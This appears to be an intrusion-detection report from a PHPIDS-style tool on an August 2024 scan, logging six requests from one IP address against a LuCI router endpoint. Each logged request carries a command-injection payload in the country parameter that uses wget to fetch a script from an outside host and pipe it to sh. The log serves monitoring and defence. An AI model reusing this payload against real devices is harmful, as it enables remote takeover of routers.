Summary: 6 incidents discovered from one client

	185.224.128.83 | 6 incidents | impact ∑: 90	attacks only
	Description: A targeted scan yesterday. A total of 6 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 15 xss csrf sqli id lfi - 185.224.128.83 - - Wed, 14 Aug 2024 01:38:45 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Wed, 14 Aug 2024 01:38:45 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Wed, 14 Aug 2024 04:55:14 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Wed, 14 Aug 2024 04:55:15 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Wed, 14 Aug 2024 08:22:49 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Wed, 14 Aug 2024 08:22:50 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Wed, 14 Aug 2024 11:40:43 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Wed, 14 Aug 2024 11:40:43 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Wed, 14 Aug 2024 17:14:03 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Wed, 14 Aug 2024 17:14:03 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Wed, 14 Aug 2024 22:45:29 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Wed, 14 Aug 2024 22:45:29 +0200 \x16\x03\x01 400 392 - -